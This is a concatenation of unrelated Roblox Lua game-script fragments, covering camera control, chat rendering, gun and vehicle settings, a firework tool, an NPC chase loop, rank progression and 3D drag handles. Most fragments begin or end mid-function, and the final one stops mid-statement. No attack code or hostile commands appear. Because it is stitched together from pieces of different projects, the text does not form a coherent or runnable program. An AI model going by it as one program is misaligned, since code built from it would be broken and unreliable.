distToSubject = vecToSubject.magnitude -- Only move the camera if it exceeded a maximum distance to the subject in VR if distToSubject > self.currentSubjectDistance or self.rotateInput.x ~= 0 then local desiredDist = math.min(distToSubject, self.currentSubjectDistance) -- Note that CalculateNewLookVector is overridden from BaseCamera vecToSubject = self:CalculateNewLookVector(vecToSubject.unit * X1_Y0_Z1, Vector2.new(self.rotateInput.x, 0)) * desiredDist local newPos = cameraFocusP - vecToSubject local desiredLookDir = camera.CFrame.lookVector if self.rotateInput.x ~= 0 then desiredLookDir = vecToSubject end local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z) self.RotateInput = ZERO_VECTOR2 newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0) end else -- self.RotateInput is a Vector2 of mouse movement deltas since last update self.curAzimuthRad = self.curAzimuthRad - self.rotateInput.x if self.useAzimuthLimits then self.curAzimuthRad = math.clamp(self.curAzimuthRad, self.minAzimuthAbsoluteRad, self.maxAzimuthAbsoluteRad) else self.curAzimuthRad = (self.curAzimuthRad ~= 0) and (math.sign(self.curAzimuthRad) * (math.abs(self.curAzimuthRad) % TAU)) or 0 end self.curElevationRad = math.clamp(self.curElevationRad + self.rotateInput.y, self.minElevationRad, self.maxElevationRad) local cameraPosVector = self.currentSubjectDistance * ( CFrame.fromEulerAnglesYXZ( -self.curElevationRad, self.curAzimuthRad, 0 ) * UNIT_Z ) local camPos = subjectPosition + cameraPosVector newCameraCFrame = CFrame.new(camPos, subjectPosition) self.rotateInput = ZERO_VECTOR2 end self.lastCameraTransform = newCameraCFrame self.lastCameraFocus = newCameraFocus if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then self.lastSubjectCFrame = cameraSubject.CFrame else self.lastSubjectCFrame = nil end end self.lastUpdate = now return newCameraCFrame, newCameraFocus end return OrbitalCamera
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize) xSize = xSize or BaseFrame.AbsoluteSize.X local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000)) if textBoundsSize.Y ~= math.floor(textBoundsSize.Y) then -- HACK Alert. TODO: Remove this when we switch UDim2 to use float Offsets -- This is nessary due to rounding issues on mobile devices when translating between screen pixels and native pixels return textBoundsSize.Y + 1 end return textBoundsSize.Y end function methods:GetNumberOfSpaces(str, font, textSize) local strSize if typeof(str)=="string" then strSize = self:GetStringTextBounds(str, font, textSize) elseif typeof(str)=="Instance" then strSize=str.AbsoluteSize end local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize) return math.ceil(strSize.X / singleSpaceSize.X) end function methods:CreateBaseMessage(message, font, textSize, chatColor) local BaseFrame = self:GetFromObjectPool("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 0, 18) BaseFrame.Visible = true BaseFrame.BackgroundTransparency = 1 local messageBorder = 8 local BaseMessage = self:GetFromObjectPool("TextLabel") BaseMessage.Selectable = false BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0) BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0) BaseMessage.BackgroundTransparency = 1 BaseMessage.Font = font BaseMessage.TextSize = textSize BaseMessage.TextXAlignment = Enum.TextXAlignment.Left BaseMessage.TextYAlignment = Enum.TextYAlignment.Top BaseMessage.TextTransparency = 0 BaseMessage.TextStrokeTransparency = 0.75 BaseMessage.TextColor3 = chatColor BaseMessage.TextWrapped = true BaseMessage.ClipsDescendants = true BaseMessage.Text = message BaseMessage.Visible = true BaseMessage.Parent = BaseFrame return BaseFrame, BaseMessage end function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName) local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize) local NameButton = self:GetFromObjectPool("TextButton") NameButton.Selectable = false NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y) NameButton.Position = UDim2.new(0, 0, 0, 0) NameButton.BackgroundTransparency = 1 NameButton.Font = BaseMessage.Font NameButton.TextSize = BaseMessage.TextSize NameButton.TextXAlignment = BaseMessage.TextXAlignment NameButton.TextYAlignment = BaseMessage.TextYAlignment NameButton.TextTransparency = BaseMessage.TextTransparency NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency NameButton.TextColor3 = nameColor NameButton.Text = formatName NameButton.Visible = true NameButton.Parent = BaseMessage local clickedConn = NameButton.MouseButton1Click:connect(function() self:NameButtonClicked(NameButton, playerName) end) local changedConn = nil changedConn = NameButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return NameButton end function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName) local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize) local ChannelButton = self:GetFromObjectPool("TextButton") ChannelButton.Selectable = false ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y) ChannelButton.Position = UDim2.new(0, 0, 0, 0) ChannelButton.BackgroundTransparency = 1 ChannelButton.Font = BaseMessage.Font ChannelButton.TextSize = BaseMessage.TextSize ChannelButton.TextXAlignment = BaseMessage.TextXAlignment ChannelButton.TextYAlignment = BaseMessage.TextYAlignment ChannelButton.TextTransparency = BaseMessage.TextTransparency ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency ChannelButton.TextColor3 = channelColor ChannelButton.Text = formatChannelName ChannelButton.Visible = true ChannelButton.Parent = BaseMessage local clickedConn = ChannelButton.MouseButton1Click:connect(function() self:ChannelButtonClicked(ChannelButton, channelName) end) local changedConn = nil changedConn = ChannelButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return ChannelButton end function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText) local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize) local TagLabel = self:GetFromObjectPool("TextLabel") TagLabel.Selectable = false TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y) TagLabel.Position = UDim2.new(0, 0, 0, 0) TagLabel.BackgroundTransparency = 1 TagLabel.Font = BaseMessage.Font TagLabel.TextSize = BaseMessage.TextSize TagLabel.TextXAlignment = BaseMessage.TextXAlignment TagLabel.TextYAlignment = BaseMessage.TextYAlignment TagLabel.TextTransparency = BaseMessage.TextTransparency TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency TagLabel.TextColor3 = tagColor TagLabel.Text = formatTagText TagLabel.Visible = true TagLabel.Parent = BaseMessage return TagLabel end function methods:AddIconLabelToBaseMessage(BaseMessage,iconAddress) local iconSize=DEFAULT_ICON_SIZE local IconLabel=self:GetFromObjectPool("ImageLabel") IconLabel.Selectable = false IconLabel.Position = UDim2.new(0, 0, 0, 0) IconLabel.Size = UDim2.new(0, iconSize.X, 0, iconSize.Y) IconLabel.BackgroundTransparency = 1 IconLabel.Visible = true IconLabel.ImageTransparency=0 IconLabel.ScaleType=Enum.ScaleType.Fit IconLabel.ImageColor3=Color3.new(1,1,1) IconLabel.Image=iconAddress IconLabel.Parent = BaseMessage return IconLabel end function GetWhisperChannelPrefix() if ChatConstants.WhisperChannelPrefix then return ChatConstants.WhisperChannelPrefix end return "To " end function methods:NameButtonClicked(nameButton, playerName) if not self.ChatWindow then return end if ChatSettings.ClickOnPlayerNameToWhisper then local player = Players:FindFirstChild(playerName) if player and player ~= LocalPlayer then local whisperChannel = GetWhisperChannelPrefix() ..playerName if self.ChatWindow:GetChannel(whisperChannel) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= whisperChannel then self.ChatWindow:SwitchCurrentChannel(whisperChannel) end local whisperMessage = "/w " ..playerName self.ChatBar:SetText(whisperMessage) self.ChatBar:CaptureFocus() elseif not self.ChatBar:IsInCustomState() then local whisperMessage = "/w " ..playerName self.ChatBar:SetText(whisperMessage) self.ChatBar:CaptureFocus() end end end end function methods:ChannelButtonClicked(channelButton, channelName) if not self.ChatWindow then return end if ChatSettings.ClickOnChannelNameToSetMainChannel then if self.ChatWindow:GetChannel(channelName) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= channelName then self.ChatWindow:SwitchCurrentChannel(channelName) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() end end end function methods:RegisterChatWindow(chatWindow) self.ChatWindow = chatWindow self.ChatBar = chatWindow:GetChatBar() end function methods:GetFromObjectPool(className) if self.ObjectPool == nil then return Instance.new(className) end return self.ObjectPool:GetInstance(className) end function methods:RegisterObjectPool(objectPool) self.ObjectPool = objectPool end
---------------------------------------------------------------------------------------------------- -----------------=[ General ]=---------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
TeamKill = true --- Enable TeamKill? ,TeamDamageMultiplier = 0.2 --- Between 0-1 | This will make you cause less damage if you hit your teammate ,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces... ,AntiBunnyHop = true --- Enable anti bunny hop system? ,JumpCoolDown = 1 --- Seconds before you can jump again ,JumpPower = 30 --- Jump power, default is 50 ,RealisticLaser = true --- True = Laser line is invisible ,ReplicatedLaser = true ,ReplicatedFlashlight = true ,EnableRagdoll = true --- Enable ragdoll death? ,TeamTags = true --- Aaaaaaa ,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
-- Public Constructors
function DraggerClass.new(element) local self = setmetatable({}, DraggerClass) self._Maid = Lazy.Utilities.Maid.new() self._DragBind = Instance.new("BindableEvent") self._StartBind = Instance.new("BindableEvent") self._StopBind = Instance.new("BindableEvent") self.Element = element self.IsDragging = false self.DragChanged = self._DragBind.Event self.DragStart = self._StartBind.Event self.DragStop = self._StopBind.Event init(self) return self end
-- Initialize the tool
local MaterialTool = { Name = 'Material Tool'; Color = BrickColor.new 'Bright violet'; -- State CurrentMaterial = nil; -- Signals OnMaterialChanged = Signal.new(); } MaterialTool.ManualText = [[<font face="GothamBlack" size="16">Material Tool 🛠</font> Lets you change the material, transparency, and reflectance of parts.]]
---- ----
if hit.Parent:findFirstChild("Humanoid") ~= nil then local target1 = "LeftUpperLeg" local target2 = "LeftUpperLeg2" if hit.Parent:findFirstChild(target2) == nil then local g = script.Parent.Parent[target2]:clone() g.Parent = hit.Parent local C = g:GetChildren() for i=1, #C do if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Parent[target1] Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do h[i].Anchored = false h[i].CanCollide = false end end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 30 -- cooldown for use of the tool again ZoneModelName = "Damage zone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 140 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 240 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 250 , spInc = 20 , -- Increment between labelled notches } }
-- GAMEPASSES
Gamepasses = { [0] = "NonAdmin"; };
--MOT is up and down while MOT2 is side to side
wt = 0.07 while wait(0.01) do if script.Parent.Values.PBrake.Value == true then MOT3.DesiredAngle = 0.6 end if script.Parent.Values.PBrake.Value == false then MOT3.DesiredAngle = 0.2 end end
--[[ BaseState Description: BaseState is a class that is meant to be inherited, when you inherit from this base state it's intended to be provided to a state machine. You can override some of the functions in your inherited class to take advantage of the a base state's behavior in a state machine. To find a great example of inheriting BaseState, go into ReplicatedStorage -> Common -> Databases -> WeaponStates -> Grenade -> IdleState ]]
local BaseState = {} BaseState.__index = BaseState
-- Private Variables --
local root = script.Parent.Parent --the root of the Chassis model local driverSeat local passengerSeats local motors local steeringPrismatic local redressMount local defaultGravity = 196.2 local actualGravity = workspace.Gravity local gravityChange = actualGravity / defaultGravity
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create BaseUrl = "http://www.roblox.com/asset/?id=" ExplosionScript = script:WaitForChild("ExplosionScript") Animations = { Light = {Animation = Tool:WaitForChild("Light"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil} } Sounds = { Fuse = Handle:WaitForChild("Fuse"), } Sparks = Handle:WaitForChild("Sparks") BasePart = Create("Part"){ Shape = Enum.PartType.Block, Material = Enum.Material.Plastic, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, FormFactor = Enum.FormFactor.Custom, Size = Vector3.new(0.2, 0.2, 0.2), CanCollide = true, Locked = true, Anchored = false, } BaseFirework = Handle:Clone() BaseFirework.Name = "Firework" BaseFirework.Transparency = 0 BaseFirework.Locked = true BaseFirework.CanCollide = true Rate = (1 / 60) Gravity = 196.20 ReloadTime = 10 ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) Sparks.Enabled = false Handle.Transparency = 0 Tool.Enabled = true function FireFirework() Handle.Transparency = 1 local Firework = BaseFirework:Clone() Firework.CFrame = Handle.CFrame local Force = 35 local Mass = (Firework:GetMass() * Gravity) local Velocity = (Vector3.new(0, 1, 0) * Force) local BodyVelocity = Create("BodyVelocity"){ maxForce = Vector3.new(Mass, Mass, Mass), velocity = Velocity, Parent = Firework, } local AngleX, AngleY, AngleZ = Handle.CFrame:toEulerAnglesXYZ() local BodyGyro = Create("BodyGyro"){ maxTorque = Vector3.new(math.huge, 0, math.huge), cframe = CFrame.new(0, AngleY, 0), Parent = Firework, } Firework.Velocity = Velocity Debris:AddItem(Firework, (60 / 2)) Firework.Parent = game:GetService("Workspace") return Firework end function Activated() if not Tool.Enabled or not ToolEquipped then return end local CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) Tool.Enabled = false Sparks.Enabled = true Sounds.Fuse:Play() Spawn(function() InvokeClient("PlayAnimation", Animations.Light) end) wait(2) if CurrentlyEquipped then Sparks.Enabled = false local Firework = FireFirework() local ExplosionScriptClone = ExplosionScript:Clone() ExplosionScriptClone.Disabled = false ExplosionScriptClone.Parent = Firework wait(ReloadTime) if CurrentlyEquipped then Handle.Transparency = 0 end end Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end for i, v in pairs({ToolUnequipped}) do if v then v:disconnect() end end ToolEquipped = true end function Unequipped() Handle.Transparency = 0 ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end function OnServerInvoke(player, Mode, Value) if player ~= Player or not Mode or not Value then return end end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[ function playsound(time) nextsound=time+5+(math.random()*5) local randomsound=sounds[math.random(1,#sounds)] randomsound.Volume=.5+(.5*math.random()) randomsound.Pitch=.5+(.5*math.random()) randomsound:Play() end --]]
while sp.Parent and Humanoid and Humanoid.Parent and Humanoid.Health>0 and Torso and Head and Torso and Torso.Parent do for _,parts in pairs(sp:GetDescendants()) do if parts:IsA("BasePart") and parts:CanSetNetworkOwnership() then parts:SetNetworkOwner(nil) end end local _,time=wait(1/3) humanoids={} populatehumanoids() closesttarget=nil closestdist=sightrange local creator=sp:FindFirstChild("creator") for i,h in ipairs(humanoids) do if h and h.Parent then if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then local plr=game.Players:GetPlayerFromCharacter(h.Parent) if not creator or not plr or creator.Value~=plr then local t=h.Parent:FindFirstChild("Torso") or h.Parent:FindFirstChild("UpperTorso") if t then local dist=(t.Position-Torso.Position).magnitude if dist<closestdist then closestdist=dist closesttarget=t end end end end end end if closesttarget then if not chasing then --playsound(time) chasing=true Humanoid.WalkSpeed=runspeed end Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget) if math.random()<.5 then attack(time,closesttarget.Position) end else if chasing then chasing=false Humanoid.WalkSpeed=wonderspeed end if time>nextrandom then nextrandom=time+3+(math.random()*5) local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40) Humanoid:MoveTo(randompos,game.Workspace.Terrain) end end
--Values--
local car = script.Parent.Parent.Car.Value local FE = workspace.FilteringEnabled local _Tune = require(car["A-Chassis Tune"]) local Redline = _Tune.Redline local maxPSI = WasteGatePressure local totalPSI = 0 local actualPSI = 0 local CR = CompressionRatio local TC = TurboCount local handler = car:WaitForChild("UpdateAndMake") local Values = script.Parent.Parent.Values local Throttle = script.Parent.Parent.Values.Throttle.Value local BOVFix = (1 - Throttle) local tester = 1 local BOVact = 0 local BOVact2 = 0 local Whistle = car.DriveSeat:WaitForChild("Whistle") local BOV = car.DriveSeat:WaitForChild("BOV") Whistle:Play() script.Parent.Parent.Values.RPM.Changed:connect(function() --When In Neutral if Values.Horsepower.Value == 0 then totalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/9)-0.053)*(69/TurboSize))/WasteGatePressure)*15) if totalPSI < 0.05 then totalPSI = 0.05 end if totalPSI > 2 then totalPSI = 2 end --TEST end --When Driving if Values.Horsepower.Value > 0 then totalPSI = totalPSI + ((((((Values.Horsepower.Value*(Values.Throttle.Value*1.2)/_Tune.Horsepower)/9)-0.063)*69/TurboSize)/WasteGatePressure)*15) if totalPSI < 0.05 then totalPSI = 0.05 end if totalPSI > 2 then totalPSI = 2 end --TEST end actualPSI = totalPSI/2 if FE then local BP = totalPSI handler:FireServer(totalPSI,actualPSI,Throttle,BOVFix) else local Throttle2 = Throttle local W = car.DriveSeat:WaitForChild("Whistle") local B = car.DriveSeat:WaitForChild("BOV") if Throttle2 < 0 then Throttle2 = 0 end W.Pitch = (totalPSI) W.Volume = totalPSI/4 B.Pitch = 1 - (-totalPSI/40) B.Volume = ((-0.03+totalPSI/2)*(1 - Throttle))/2 end end)
--front motor
script.Parent.Wheels.boggieF.motf.HingeConstraint.AngularVelocity = speed script.Parent.Wheels.boggieF.motf.HingeConstraint2.AngularVelocity = speed script.Parent.Wheels.boggieF.motf.HingeConstraint.MotorMaxTorque = RPM script.Parent.Wheels.boggieF.motf.HingeConstraint2.MotorMaxTorque = RPM
-- for i, entry in ipairs(messages) do -- if entry.messageType == Enum.MessageType.MessageWarning -- or entry.messageType == Enum.MessageType.MessageError then -- -- warn(entry.message) -- else -- print(entry.message) -- end -- end
end
-- if vehicle ~= nil and debounce == false and planedebounce == false then -- if fly == false and taxi == false then return end -- debounce = true
controlling = true while controlling do game:GetService("RunService").RenderStepped:wait() if script.Parent.CanControl.Value == true and script.Parent.Power.Value >= Settings.MaxPower then local engine = Parts:WaitForChild("Engine") local position = mouse.Hit local target = position.p local mousePoint = mouse.Hit.p; -- Vector from tank to mouse point aasfbsdfsdfbdbsdfsd local targetVector = (mousePoint - mouse.Origin.p).unit; move(mousePoint, engine) else end end
--local l__ID__2 = u1.Directory.Gamepasses.VIP.ID;
local u3 = {}; function v1.Progress(p4, p5) local v12 = u1.Saving.Get(p4); if not v12 then return; end; --if u1.Gamepasses.Owns(p4, l__ID__2) then -- p5 = p5 * 2; --end; if v12.IsFollowingOnTwitter then p5 = p5 * 1.5; end; if not u3[p4] then u3[p4] = p5; return; end; u3[p4] = u3[p4] + p5; end; function v1.GetNextRank(p6) local v13 = u1.Saving.Get(p6); if not v13 then return; end; for v14, v15 in ipairs(u1.Shared.RankChart) do if v15 == v13.Rank then return u1.Shared.RankChart[v14 + 1]; end; end; end; function v1.GetRankNumber(p7) local v16 = u1.Saving.Get(p7); if not v16 then return; end; local l__RankChart__17 = u1.Shared.RankChart; for v18, v19 in ipairs(l__RankChart__17) do if v19 == v16.Rank then return v18; end; end; return #l__RankChart__17; end; function ApplyProgress(p8) local v20 = u1.Saving.Get(p8); local v21 = u3[p8]; if v21 then if v20 then u3[p8] = nil; v20.RankProgress = v20.RankProgress + v21; if u1.Directory.Ranks[v20.Rank].needed <= v20.RankProgress then local v22 = v1.GetNextRank(p8); if v22 then v1.Give(p8, v22); end; end; end; end; end; coroutine.wrap(function() while true do for v23, v24 in ipairs(game.Players:GetPlayers()) do ApplyProgress(v24); end; wait(0.5); end; end)(); game.Players.PlayerRemoving:Connect(function(p9) if u3[p9] then u3[p9] = nil; end; end); u1.Network.Invoked("Redeem Rank Rewards").OnInvoke = function(p10) return v1.Reward(p10); end; return v1;
---[[ Font Settings ]]
module.DefaultFont = Enum.Font.SciFi module.ChatBarFont = Enum.Font.SciFi
--[[ timer = Timer.new(interval: number [, janitor: Janitor]) connection = Timer.Simple(interval: number, callback: () -> void [, updateSignal: Signal = Heartbeat, timeFunc: () -> number = time]) timer.Tick: Signal timer.Interval: number timer.UpdateSignal: Signal timer.TimeFunction: () -> number timer.AllowDrift: boolean timer:Start() timer:StartNow() timer:Stop() timer:Destroy() ------------------------------------ local timer = Timer.new(2) timer.Tick:Connect(function() print("Tock") end) timer:Start() Timer.Simple(2, function() print("Tock") end) --]]
type CallbackFunc = () -> nil type TimeFunc = () -> number local Signal = require(script.Parent.Signal) local RunService = game:GetService("RunService")
-- Set to 0 for no superchargers
Tune.S_Boost = 5 Tune.S_Efficiency = 6 Tune.S_Sensitivity = 0.05 -- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)
-- Class
local ViewportWindow = Class("ViewportWindow") function ViewportWindow:__init(surfaceGui) self.surfaceGui = surfaceGui self.camera = Instance.new("Camera") self.camera.Parent = surfaceGui self.worldFrame = self:_createVPF("WorldFrame", 2) self.skyboxFrame = self:_createVPF("SkyboxFrame", 1) self.worldRoot = Instance.new("WorldModel") self.worldRoot.Parent = self.worldFrame end
-- Create class
local Handles = {} Handles.__index = Handles function Handles.new(Options) local self = setmetatable({}, Handles) -- Create maid for cleanup on destroyal self.Maid = Maid.new() -- Create UI container local Gui = Instance.new('ScreenGui') self.Gui = Gui Gui.Name = 'BTHandles' Gui.IgnoreGuiInset = true self.Maid.Gui = Gui -- Create interface self.IsMouseAvailable = UserInputService.MouseEnabled self:CreateHandles(Options) -- Get camera and viewport information self.Camera = Workspace.CurrentCamera self.GuiInset = GuiService:GetGuiInset() -- Get list of ignorable handle obstacles self.ObstacleBlacklistIndex = Support.FlipTable(Options.ObstacleBlacklist or {}) self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex) -- Enable handle self:SetAdornee(Options.Adornee) self.Gui.Parent = Options.Parent -- Return new handles return self end function Handles:CreateHandles(Options) self.Handles = {} self.HandleStates = {} -- Generate a handle for each side for _, Side in ipairs(Enum.NormalId:GetEnumItems()) do -- Create handle local Handle = Instance.new('ImageButton') Handle.Name = Side.Name Handle.Image = 'rbxassetid://2347145012' Handle.ImageColor3 = Options.Color Handle.ImageTransparency = 0.33 Handle.AnchorPoint = Vector2.new(0.5, 0.5) Handle.BackgroundTransparency = 1 Handle.BorderSizePixel = 0 Handle.ZIndex = 1 Handle.Visible = false -- Create handle dot local HandleDot = Handle:Clone() HandleDot.Active = false HandleDot.Size = UDim2.new(0, 4, 0, 4) HandleDot.Position = UDim2.new(0.5, 0, 0.5, 0) HandleDot.Visible = true HandleDot.Parent = Handle HandleDot.ZIndex = 0 -- Create maid for handle cleanup local HandleMaid = Maid.new() self.Maid[Side.Name] = HandleMaid -- Add handle hover effect HandleMaid.HoverStart = Handle.MouseEnter:Connect(function () Handle.ImageTransparency = 0 end) HandleMaid.HoverEnd = Handle.MouseLeave:Connect(function () Handle.ImageTransparency = 0.33 end) -- Listen for handle interactions on click HandleMaid.DragStart = Handle.MouseButton1Down:Connect(function (X, Y) local HandleState = self.HandleStates[Handle] local HandlePlane = HandleState.PlaneNormal local HandleNormal = HandleState.HandleNormal local HandleWorldPoint = HandleState.HandleCFrame.Position local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit -- Project viewport aim point onto 2D handle axis line local AimAdorneeViewportOffset = Vector2.new(X, Y) - HandleState.AdorneeViewportPosition local MappedViewportPointOnAxis = HandleAxisLine:Dot(AimAdorneeViewportOffset) * HandleAxisLine + HandleState.AdorneeViewportPosition -- Map projected viewport aim point onto 3D handle axis line local AimRay = self.Camera:ViewportPointToRay(MappedViewportPointOnAxis.X, MappedViewportPointOnAxis.Y) local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane) local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin -- Calculate dragging distance offset local DragDistanceOffset = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) -- Run drag start callback if Options.OnDragStart then Options.OnDragStart() end local function ProcessDragChange(AimScreenPoint) local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit -- Project screen aim point onto 2D handle axis line local AdorneeScreenPosition = HandleState.AdorneeViewportPosition - self.GuiInset local AimAdorneeScreenOffset = Vector2.new(AimScreenPoint.X, AimScreenPoint.Y) - AdorneeScreenPosition local MappedScreenPointOnAxis = HandleAxisLine:Dot(AimAdorneeScreenOffset) * HandleAxisLine + AdorneeScreenPosition -- Map projected screen aim point onto 3D handle axis line local AimRay = self.Camera:ScreenPointToRay(MappedScreenPointOnAxis.X, MappedScreenPointOnAxis.Y) local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane) local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin -- Calculate distance dragged local DragDistance = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) - DragDistanceOffset -- Run drag step callback if Options.OnDrag then Options.OnDrag(Side, DragDistance) end end -- Create maid for dragging cleanup local DragMaid = Maid.new() HandleMaid.Dragging = DragMaid -- Perform dragging when aiming anywhere (except handle) DragMaid.Drag = Support.AddUserInputListener('Changed', {'MouseMovement', 'Touch'}, true, function (Input) ProcessDragChange(Input.Position) end) -- Perform dragging while aiming at handle DragMaid.InHandleDrag = Handle.MouseMoved:Connect(function (X, Y) local AimScreenPoint = Vector2.new(X, Y) - self.GuiInset ProcessDragChange(AimScreenPoint) end) -- Finish dragging when input ends DragMaid.DragEnd = Support.AddUserInputListener('Ended', {'MouseButton1', 'Touch'}, true, function (Input) HandleMaid.Dragging = nil end) -- Fire callback when dragging ends DragMaid.Callback = function () coroutine.wrap(Options.OnDragEnd)() end end) -- Finish dragging when input ends while aiming at handle HandleMaid.InHandleDragEnd = Handle.MouseButton1Up:Connect(function () HandleMaid.Dragging = nil end) -- Save handle Handle.Parent = self.Gui self.Handles[Side.Name] = Handle end end function Handles:Hide() -- Make sure handles are enabled if not self.Running then return self end -- Pause updating self:Pause() -- Hide UI self.Gui.Enabled = false end function Handles:Pause() self.Running = false end local function IsFirstPerson(Camera) return (Camera.CFrame.p - Camera.Focus.p).magnitude <= 0.6 end function Handles:Resume() -- Make sure handles are disabled if self.Running then return self end -- Allow handles to run self.Running = true -- Keep handle positions updated for Side, Handle in pairs(self.Handles) do local UnitVector = Vector3.FromNormalId(Side) coroutine.wrap(function () while self.Running do self:UpdateHandle(Handle, UnitVector) RunService.RenderStepped:Wait() end end)() end -- Ignore character whenever character enters first person if Players.LocalPlayer then coroutine.wrap(function () while self.Running do local FirstPerson = IsFirstPerson(self.Camera) local Character = Players.LocalPlayer.Character if Character then self.ObstacleBlacklistIndex[Character] = FirstPerson and true or nil self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex) end wait(0.2) end end)() end -- Show UI self.Gui.Enabled = true end function Handles:SetAdornee(Item) -- Return self for chaining -- Save new adornee self.Adornee = Item self.IsAdorneeModel = Item and (Item:IsA 'Model') or nil -- Resume handles if Item then self:Resume() else self:Hide() end -- Return handles for chaining return self end local function WorldToViewportPoint(Camera, Position) -- Get viewport position for point local ViewportPoint, Visible = Camera:WorldToViewportPoint(Position) local CameraDepth = ViewportPoint.Z ViewportPoint = Vector2.new(ViewportPoint.X, ViewportPoint.Y) -- Adjust position if point is behind camera if CameraDepth < 0 then ViewportPoint = Camera.ViewportSize - ViewportPoint end -- Return point and visibility return ViewportPoint, 